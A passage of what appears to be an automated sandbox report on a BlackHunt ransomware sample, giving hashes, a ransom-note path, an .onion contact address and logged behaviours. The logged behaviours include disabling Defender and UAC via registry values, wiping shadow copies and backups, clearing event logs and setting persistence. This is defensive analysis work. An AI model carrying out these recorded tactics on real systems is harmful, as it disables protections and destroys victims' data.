Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:50
Static task
static1
Behavioral task
behavioral1
Sample
c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe
Resource
win10v2004-20231222-en
General
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Target
c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe
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Size
707KB
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MD5
c1a5e3939c765d9a009e4623fc48957b
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SHA1
8498cab95f30839879e287acbc423efde0d90918
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SHA256
c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281
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SHA512
5a530a002d756cba8f424fe0d761acc831f6199258f29d0f5a6b67991726c0e18f08661a65c5cdd43d6b4c349d24197b199eeb088242ebadab7c8b271497ac13
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza168Cvnh:6uaTmkZJ+naie5OTamgEoKxLWZMh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1196 fsutil.exe 1156 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2208 wevtutil.exe 2088 wevtutil.exe 2248 wevtutil.exe 2332 wevtutil.exe 2892 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 840 bcdedit.exe 1728 bcdedit.exe 2100 bcdedit.exe 2164 bcdedit.exe -
Renames multiple (2909) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1592 wbadmin.exe 2576 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 848 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\U: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\A: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\J: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\W: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\G: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\K: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\Z: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\R: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\H: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\B: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\S: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\L: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\X: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\N: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\M: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\T: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\Y: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\I: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\P: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\O: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened (read-only) \??\V: c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.zh_CN_5.5.0.165303.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.hta c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\7-Zip\readme.txt c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_zh_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPTSFrame.png c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup.xml c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-heapwalker.xml c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuching c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-3 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application-views.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Grand_Turk c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_ja.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Nairobi c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Vilnius c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_Private.key c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic_5.5.0.165303.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\security\javaws.policy c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\my\#BlackHunt_ReadMe.txt c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_ja_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.hta c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_Private.key c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-8 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_Private.key c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Spelling.api c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_ReadMe.hta c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application_5.5.0.165303.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Brisbane c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7MDT c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-threaddump.xml c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rankin_Inlet c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Macquarie c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tbilisi c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Monrovia c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_ja.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.txt c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveDrop32x32.gif c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#BlackHunt_Private.key c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Vancouver c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.hta c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\blackbars60.png c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\7-Zip\Lang\ast.txt c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Melbourne c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\jvm.hprof.txt c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Godthab c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 952 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2008 vssadmin.exe 3364 vssadmin.exe 752 vssadmin.exe 1028 vssadmin.exe 700 vssadmin.exe 2308 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2428 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 844 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2616 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeRestorePrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeBackupPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeTakeOwnershipPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeAuditPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeSecurityPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeIncBasePriorityPrivilege 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Token: SeBackupPrivilege 2744 vssvc.exe Token: SeRestorePrivilege 2744 vssvc.exe Token: SeAuditPrivilege 2744 vssvc.exe Token: SeBackupPrivilege 872 wbengine.exe Token: SeRestorePrivilege 872 wbengine.exe Token: SeSecurityPrivilege 872 wbengine.exe Token: SeSecurityPrivilege 2088 wevtutil.exe Token: SeSecurityPrivilege 2332 wevtutil.exe Token: SeSecurityPrivilege 2208 wevtutil.exe Token: SeBackupPrivilege 2088 wevtutil.exe Token: SeBackupPrivilege 2332 wevtutil.exe Token: SeBackupPrivilege 2208 wevtutil.exe Token: SeSecurityPrivilege 2248 wevtutil.exe Token: SeBackupPrivilege 2248 wevtutil.exe Token: SeSecurityPrivilege 2892 wevtutil.exe Token: SeBackupPrivilege 2892 wevtutil.exe Token: SeDebugPrivilege 2428 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2476 wrote to memory of 2340 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 29 PID 2476 wrote to memory of 2340 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 29 PID 2476 wrote to memory of 2340 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 29 PID 2476 wrote to memory of 2340 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 29 PID 2476 wrote to memory of 3032 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 131 PID 2476 wrote to memory of 3032 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 131 PID 2476 wrote to memory of 3032 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 131 PID 2476 wrote to memory of 3032 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 131 PID 2476 wrote to memory of 2712 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 32 PID 2476 wrote to memory of 2712 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 32 PID 2476 wrote to memory of 2712 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 32 PID 2476 wrote to memory of 2712 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 32 PID 2476 wrote to memory of 2840 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 35 PID 2476 wrote to memory of 2840 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 35 PID 2476 wrote to memory of 2840 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 35 PID 2476 wrote to memory of 2840 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 35 PID 2340 wrote to memory of 2848 2340 cmd.exe 36 PID 2340 wrote to memory of 2848 2340 cmd.exe 36 PID 2340 wrote to memory of 2848 2340 cmd.exe 36 PID 2476 wrote to memory of 2768 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 37 PID 2476 wrote to memory of 2768 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 37 PID 2476 wrote to memory of 2768 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 37 PID 2476 wrote to memory of 2768 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 37 PID 3032 wrote to memory of 2680 3032 reg.exe 38 PID 3032 wrote to memory of 2680 3032 reg.exe 38 PID 3032 wrote to memory of 2680 3032 reg.exe 38 PID 2476 wrote to memory of 2560 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 39 PID 2476 wrote to memory of 2560 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 39 PID 2476 wrote to memory of 2560 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 39 PID 2476 wrote to memory of 2560 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 39 PID 2476 wrote to memory of 2792 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 41 PID 2476 wrote to memory of 2792 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 41 PID 2476 wrote to memory of 2792 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 41 PID 2476 wrote to memory of 2792 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 41 PID 2712 wrote to memory of 2588 2712 cmd.exe 44 PID 2712 wrote to memory of 2588 2712 cmd.exe 44 PID 2712 wrote to memory of 2588 2712 cmd.exe 44 PID 2476 wrote to memory of 1652 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 46 PID 2476 wrote to memory of 1652 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 46 PID 2476 wrote to memory of 1652 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 46 PID 2476 wrote to memory of 1652 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 46 PID 2476 wrote to memory of 2332 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 48 PID 2476 wrote to memory of 2332 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 48 PID 2476 wrote to memory of 2332 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 48 PID 2476 wrote to memory of 2332 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 48 PID 2840 wrote to memory of 2720 2840 cmd.exe 50 PID 2840 wrote to memory of 2720 2840 cmd.exe 50 PID 2840 wrote to memory of 2720 2840 cmd.exe 50 PID 2476 wrote to memory of 2728 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 51 PID 2476 wrote to memory of 2728 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 51 PID 2476 wrote to memory of 2728 2476 